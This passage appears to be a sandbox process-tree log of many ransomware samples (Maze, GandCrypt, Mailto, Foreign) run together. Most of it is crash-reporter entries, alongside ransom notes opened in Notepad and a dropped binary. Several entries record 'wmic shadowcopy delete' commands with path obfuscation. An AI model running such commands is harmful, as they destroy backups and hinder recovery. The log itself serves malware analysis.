                                                                                                                                                Trojan-Ransom.Win32.Foreign.nxyr-b6f9f9fa970bf7ec730e0944b1bb0ba8d17a3715de0730bc417aae149ae048dd.exe
                                                                                                                                                3⤵
                                                                                                                                                  PID:8112
                                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                    msiexec.exe
                                                                                                                                                    4⤵
                                                                                                                                                      PID:7928
                                                                                                                                                  • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Foreign.ojiw-46d4b4601a37c1ba3f7fa4d8bde1494d75bb28cbd2dc90b539a39e31aebac3dc.exe
                                                                                                                                                    Trojan-Ransom.Win32.Foreign.ojiw-46d4b4601a37c1ba3f7fa4d8bde1494d75bb28cbd2dc90b539a39e31aebac3dc.exe
                                                                                                                                                    3⤵
                                                                                                                                                      PID:7588
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 7588 -s 2300
                                                                                                                                                        4⤵
                                                                                                                                                        • Program crash
                                                                                                                                                        PID:6788
                                                                                                                                                    • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Foreign.okmc-23f63135c2789e7ef408e0184508a7340f673860f0fefc09dd705276d82d7787.exe
                                                                                                                                                      Trojan-Ransom.Win32.Foreign.okmc-23f63135c2789e7ef408e0184508a7340f673860f0fefc09dd705276d82d7787.exe
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1924
                                                                                                                                                      • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.GandCrypt.hou-663588f9cb662b9c620e1a77728d424fcd91409e1546b50a8763f61c8a2ee776.exe
                                                                                                                                                        Trojan-Ransom.Win32.GandCrypt.hou-663588f9cb662b9c620e1a77728d424fcd91409e1546b50a8763f61c8a2ee776.exe
                                                                                                                                                        3⤵
                                                                                                                                                          PID:9292
                                                                                                                                                        • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Mailto.g-06b8638fdd478672cfe140221233cacfae6d2890446a5c57c8b1317a27d2a036.exe
                                                                                                                                                          Trojan-Ransom.Win32.Mailto.g-06b8638fdd478672cfe140221233cacfae6d2890446a5c57c8b1317a27d2a036.exe
                                                                                                                                                          3⤵
                                                                                                                                                            PID:9716
                                                                                                                                                          • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Maze.al-806fc33650b7ec35dd01a06be3037674ae3cc0db6ba1e3f690ee9ba9403c0627.exe
                                                                                                                                                            Trojan-Ransom.Win32.Maze.al-806fc33650b7ec35dd01a06be3037674ae3cc0db6ba1e3f690ee9ba9403c0627.exe
                                                                                                                                                            3⤵
                                                                                                                                                              PID:6672
                                                                                                                                                              • C:\Windows\system32\wbem\wmic.exe
                                                                                                                                                                "C:\ct\sgo\..\..\Windows\cegm\..\system32\p\venu\..\..\wbem\c\..\wmic.exe" shadowcopy delete
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:1200
                                                                                                                                                                • C:\Windows\system32\wbem\wmic.exe
                                                                                                                                                                  "C:\co\uki\..\..\Windows\flw\iuti\..\..\system32\hn\..\wbem\rmm\..\wmic.exe" shadowcopy delete
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:6096
                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Maze.ed-5c9b7224ffd2029b6ce7b82ea40d63b9d4e4f502169bc91de88b4ea577f52353.exe
                                                                                                                                                                  Trojan-Ransom.Win32.Maze.ed-5c9b7224ffd2029b6ce7b82ea40d63b9d4e4f502169bc91de88b4ea577f52353.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:7364
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3588 -ip 3588
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3680
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2128 -ip 2128
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:1784
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3588 -ip 3588
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:5312
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3588 -ip 3588
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:5492
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3588 -ip 3588
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:5672
                                                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:5732
                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5940
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3588 -ip 3588
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5956
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4480 -ip 4480
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:6096
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3588 -ip 3588
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:3952
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3588 -ip 3588
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5988
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3588 -ip 3588
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5152
                                                                                                                                                                                      • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YOUR_FILES_ARE_ENCRYPTED.TXT
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Opens file in notepad (likely ransom note)
                                                                                                                                                                                        PID:3496
                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3588 -ip 3588
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:3132
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3588 -ip 3588
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:5808
                                                                                                                                                                                          • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                                                                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YIPBAPHO-DECRYPT.txt
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:6800
                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3588 -ip 3588
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:8832
                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 7588 -ip 7588
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:6560
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3588 -ip 3588
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:8520
                                                                                                                                                                                                  • C:\Windows\SysWOW64\werfault.exe
                                                                                                                                                                                                    werfault.exe /h /shared Global\cb00a7bea4f84eeba8ac52e4f5a3ca66 /t 6768 /p 8184
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:8356
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3588 -ip 3588
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:8344
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 5460 -ip 5460
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:7780
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3588 -ip 3588
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:9112
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3588 -ip 3588
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:9676
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 3588 -ip 3588
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:3652
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3588 -ip 3588
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:7532
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 3588 -ip 3588
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:7152
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3588 -ip 3588
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4380
                                                                                                                                                                                                                    • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                      werfault.exe /h /shared Global\39ba3c47979e496fbb574dc194870cc5 /t 7736 /p 744
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:9844
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3588 -ip 3588
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:6640
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 3588 -ip 3588
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:9836
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3588 -ip 3588
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:2284
                                                                                                                                                                                                                            • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                              werfault.exe /h /shared Global\d362aa5553394fe5ac2c3e7fae2df041 /t 6896 /p 4716
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:8568
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3588 -ip 3588
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:9696
                                                                                                                                                                                                                                • C:\ProgramData\oubgh\drgtuj.exe
                                                                                                                                                                                                                                  C:\ProgramData\oubgh\drgtuj.exe start2
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:1436
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 1000 -p 3588 -ip 3588
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:5608
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 1012 -p 3588 -ip 3588
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:9140
                                                                                                                                                                                                                                      • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                                                                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DECRYPT-FILES.txt
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:4068
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3588 -ip 3588
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:2028
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 836 -p 3588 -ip 3588
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:9464
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 3588 -ip 3588
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:9792
                                                                                                                                                                                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                C:\Windows\system32\AUDIODG.EXE 0x2f8 0x4d0
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:9996
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 940 -p 3588 -ip 3588
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5828
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 892 -p 3588 -ip 3588
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:6504
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 888 -p 3588 -ip 3588
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:5860
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 3588 -ip 3588
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:8632
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 3788 -ip 3788
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:7208
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 896 -p 3588 -ip 3588
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:640
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 912 -p 3588 -ip 3588
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:10224
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:5924
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:1296
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:2356
                                                                                                                                                                                                                                                                    • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:8536
                                                                                                                                                                                                                                                                      • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                                                                                                        C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:9460
                                                                                                                                                                                                                                                                        • C:\Windows\System32\vds.exe
                                                                                                                                                                                                                                                                          C:\Windows\System32\vds.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:9728
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:8992
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:372
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 852 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:4744
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2304 -ip 2304
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:7592
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:8104
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:6632
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:7248
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 972 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:7812
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 976 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:8728
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 944 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:3404
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 932 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:6308
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 944 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:6788
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 1020 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:916
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:3424
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 1004 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:2428
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 992 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:11024
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 948 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:10428
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:2704
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 1016 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:9304
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:10572
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:8852
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 948 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:6504
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:11908
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 1020 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:10272
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:10856
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:11252
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 928 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:4180
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 836 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:7020
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 988 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:12056
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:8892
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:388
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 1020 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:11496
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:12264
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:11448
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 1012 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:11948
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:11336
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 980 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:10248
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:13648
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 968 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:13824
